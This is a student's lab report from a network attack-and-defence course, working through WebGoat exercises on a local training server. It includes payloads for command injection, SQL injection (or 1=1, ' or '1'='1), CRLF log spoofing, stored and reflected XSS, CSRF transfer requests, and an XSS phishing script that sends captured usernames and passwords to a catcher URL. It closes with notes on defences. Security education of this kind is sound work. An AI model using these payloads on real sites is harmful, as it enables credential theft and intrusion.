2019-2020-2 20175228 李玥琛《网络对抗技术》Exp9 Web安全基础
0.安装webgoat
安装jdk1.8版本,安装成功:
下载webgoat-container-7.0.1-war-exec.jar
,然后输入 java -jar webgoat-container-7.0.1-war-exec.ja
r 开启WebGoat
开启成功:
在浏览器中输入http://localhost:8080/WebGoat
进入WebGoat
登录界面,直接用默认用户名密码登录
1.1.SQL注入攻击
命令注入(Command Injection)——修改参数,使服务器执行恶意命令
在左侧菜单栏中选择Injection Flaws->Command Injection
,在复选框中任意一栏的代码,右键单击后,选择Edit At Html
进行修改,添加"& netstat -an & ipconfig"
修改后再次点击下拉框旁的View,如果可以看到执行指令后的网络端口使用情况和IP地址—>攻击成功
数字型注入(Numeric SQL Injection)——在station字段中注入特征字符,组合成新的SQL语句
右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,选中的城市编号Value
值中添加or 1=1
点击Go!
显示所有天气数据
日志欺骗(Log Spoofing)——通过在日志文件中插入脚本实现欺骗。
在User Name输入5228%0d%0aLogin Succeeded for username: admin
,登录
SQL 注入(LAB: SQL Injection)
Stage 1:字符串型注入(Stage 1: String SQL Injection)
右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,将password
密码框的最大长度限制改为100;以用户Neville(admin)
登录,输入密码hello' or '1' = '1
1.2.XSS攻击
XSS钓鱼(Phishing with XSS)
原理: 当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容,但被攻击方很难发现该内容是否存在威胁。
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat,将这段代码放入search框中
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
如果在登陆框中输入自己的用户名和密码,点击登录,用户名和密码被窃取,会显示在页面上。
存储型XSS攻击(Stored XSS Attacks)
在title
中输入任意字符,留言板中输入<script>alert("I am 20175228. You've been attacked!!!");</script>,
点击生成的message
,出现提示。
反射型XSS攻击(Reflected XSS Attacks)
在Enter your three digit access code
框中输入<script>alert("You've been attacked!!! I'm 20175228");</script>
1.3.CSRF攻击
跨站请求伪造(Cross Site Request Forgery (CSRF))
在文本框中提交一个含有转账恶意请求的代码,<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=104"/>
点击生成的message:
绕过CSRF确认(CSRF Prompt By‐Pass)
查看页面右侧的scr和menu值分别为281和900
titile框中输入学号,message框中输入代码
<iframe src="attack?Screen=281&menu=900&transferFunds=CONFIRM"> </iframe>
提交:
2.1.实验后回答问题
(1)SQL注入攻击原理,如何防御
原理:通过在登录框中输入一些特殊符号,通过注释掉一些sql语句,构建永真式,来实现登录操作或者显示登录者信息的操作。
防御:在代码中控制Maxlength,或者禁止输入一些特殊字符;
使用Java中的绑定变量,对SQL语句进行预编译,而不是顺序执行。把输入作为一种变量进行处理,就不会在运行时进行动态的拼接SQL语句;
对数据库设置访问权限。
(2)XSS攻击的原理,如何防御
原理:将一些恶意html标签或者javascript脚本插入到Web页面中,利用用户对网页的信任,执行一些恶意代码。
防御:使用者提高防范意识,不随意在未知网站输入个人信息和密码;
对输入和URL参数进行过滤。
(3)CSRF攻击原理,如何防御
原理:冒名登录,在正常访问受信任网站时发送信息至另一网站,另一网站利用所获取到的信息冒充用户对受信任网站提出请求。
防御:增加验证环节;
不使用通用的cookie。
2.2.实验总结与体会
这次实验的实验内容虽然很简单,但包含的攻击方式却让我切身体会到了我们在日常上网中所遇到的信息被窃取的高危风险,平时为了方便选择保存密码,却有可能被窃取到用户信息和密码,还有其他不注意的操作,都让我的用户信息暴露在了危险中,而这些,并不是简单的提高防范意识就能防御到的。